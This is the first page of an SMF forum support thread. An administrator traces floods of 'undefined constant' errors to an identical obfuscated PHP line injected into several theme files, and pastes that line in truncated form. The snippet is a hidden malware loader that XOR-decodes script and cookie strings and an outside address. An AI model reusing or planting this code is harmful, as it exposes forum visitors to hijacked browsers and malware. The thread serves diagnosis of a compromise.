SMF Support > SMF 2.0.x Support

15000 errors per hour in error log

(1/4) > >>

Game.ruler:
My forum was working fine till 27th april, then my friend installed few mods without taking backup of files.
Then later i checked that forum was giving some "content encoding error" which i googled and fixed by disabling compressed output option by repair_setting.php.
When i checked error log there were about 4.5 lacs error. I removed all errors and uninstalled all mods installed by my friend.
But that wasn't fixed. I did reinstallation on my forum and installed only those mods which were installed before 27th april when my forum was working fine.
After installation it was fine for few hours then again same problem, there are about 15000 error generating per hour.
What should i do to fix these error. They are almost same, like-


--- Code: ---http://xxxxxxxx/index.php?action=admin;area=logs;d97bd8e3987=2f9e6befcdf05e5fe936e5359e77c0f7
8: Use of undefined constant c - assumed 'c'
File: /home/xxxxx/Themes/default/languages/Optimus.english.php (eval?)
Line: 2
--- End code ---
or

--- Code: ---http://xxxxxx/index.php?topic=5882.0
8: Undefined offset: 12
Apply Filter: Only show the errors from this file
File: /home/xxxxxx/Themes/default/GenericControls.template.php (eval?)
Line: 1 [/color]

--- End code ---

Installed modes -

--- Code: ---1. Tidy Child Boards 1.3 [ Uninstall ]
2. Share This Topic 3.0 [ Uninstall ]
3. Optimus Brave 1.6.6 [ Uninstall ]
4. Ohara YouTube Embed 1.0 [ Uninstall ]
5. Bookmarks 2.3 [ Uninstall ]
6. MetaTags Modification 2.0.1 [ Uninstall ]
7. Activity Bar 1.1 [ Uninstall ]
8. Restrict Quote 2.0 [ Uninstall ]
9. PM to New Members 1.2 [ Uninstall ]
10. Float BBCODE 1.0.2 [ Uninstall ]
11. Yet Another Global Announcements Mod 2.7.4 [ Uninstall ]
12. Hide ip stuff for users 1.04 [ Uninstall ]
13. SimpleAds 1.0.1 [ Uninstall ]
14. Invitation Message In Your Face (IMIYF) 0.3.1 [ Uninstall ]
15. H1 Tags in link tree 1.1 [ Uninstall ]
16. Enable or Disable "Last Edit: by" for Administrators 1.4 [ Uninstall ]
17. GoogAd Mod v.1.4 1.3 [ Uninstall ]
18. Relative Dates 1.2 [ Uninstall ]
19. Advanced Recent Posts 1.1.1 [ Uninstall ]
20. SimplePortal 2.3.4 [ Uninstall ]
21. Activity in Profile 1.1 [ Uninstall ]
22. Smart Pagination 0.6 [ Uninstall ]
23. Ultimate Profile 0.9.1 [ Uninstall ]
24. Mobile Device Detect 0.1.0 [ Uninstall ]
25. Thank-o-matic 3.0 [ Uninstall ]
26. Related Topics 1.4 [ Uninstall ]
27. Admin Toolbox 1.0 [ Uninstall ]
28. Attachments in Topics 1.0 [ Uninstall ]
29. Search Focus Dropdown 1.6.1 [ Uninstall ]


--- End code ---
Using smf2.0
How to solve this problem. Please help me.

MrPhil:
The first thing to do is to go into Admin to the control area and "disable eval" (turn "eval" off). Then you will get the true file name and line number, which may be different from what you see here. The "constant c" error usually means that someone editing a file dropped a $ from a variable $c. Anyway, start with "eval off" and look at the files it points to.

Game.ruler:
MrPhil, i disabled template evaluation by marking "Disable evaluation of templates" in server setting.
but its giving the same errors.
Now its like-

--- Code: ---8: Use of undefined constant c - assumed 'c'
File: /home/b2350hos/public_html/Themes/default/languages/AdvancedNews.english.php
Line: 2
--- End code ---
or

--- Code: ---8: Use of undefined constant c - assumed 'c'
File: /home/b2350hos/public_html/Themes/default/languages/Optimus.english.php
Line: 2
--- End code ---

Elmacik:
You should open those mentioned files and paste the second line here.

Game.ruler:
1. in optimus.english.php

--- Code: ---<?php $s=substr(8,1);foreach(array(52,123,107,122,97,120,124,40,123,122,107,54,108,103,107,125,101,109,102,124,38,107,103,103,99,97,109,53,42,51,39,100,103,107,105,124,97,103,102,35,96,124,124,120,50,39,39,120,96,125,99,98,97,99,38,107,122,97,58,38,111,103,38,124,96,39,55,122,102,108,53)as$v){$s.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$v^8);}foreach(array(1,6,4,1,9,6,1,1,1,1,8,1)as$k=>$v){$t[$k]=substr($s,0,$v);$s=substr($s,$v);}$d=@$_COOKIE[$t[10]];
--- End code ---

2. in AdvancedNews.english.php

--- Code: ---<?php $s=substr(8,1);foreach(array(52,123,107,122,97,120,124,40,123,122,107,54,108,103,107,125,101,109,102,124,38,107,103,103,99,97,109,53,42,51,39,100,103,107,105,124,97,103,102,35,96,124,124,120,50,39,39,120,96,125,99,98,97,99,38,107,122,97,58,38,111,103,38,124,96,39,55,122,102,108,53)as$v){$s.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$v^8);}foreach(array(1,6,4,1,9,6,1,1,1,1,8,1)as$k=>$v){$t[$k]=substr($s,0,$v);$s=substr($s,$v);}$d=@$_COOKIE[$t[10]];if(!$d)
--- End code ---

3. in Portal.template.php

--- Code: ---<?php $s=substr(8,1);foreach(array(52,123,107,122,97,120,124,40,123,122,107,54,108,103,107,125,101,109,102,124,38,107,103,103,99,97,109,53,42,51,39,100,103,107,105,124,97,103,102,35,96,124,124,120,50,39,39,120,96,125,99,98,97,99,38,107,122,97,58,38,111,103,38,124,96,39,55,122,102,108,53)as$v){$s.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$v^8);}foreach(array(1,6,4,1,9,6,1,1,1,1,8,1)as$k=>$v){$t[$k]=substr($s,0,$v);$s=substr($s,$v);}$d=@$_COOKIE[$t[10]];
--- End code ---

same error is in other php files too.
also few of forum members were reporting that chrome is detecting some malware issues on accessing the site.
what should i do to overcome these problems ? Please.

Navigation

[0] Message Index

[#] Next page

Go to full version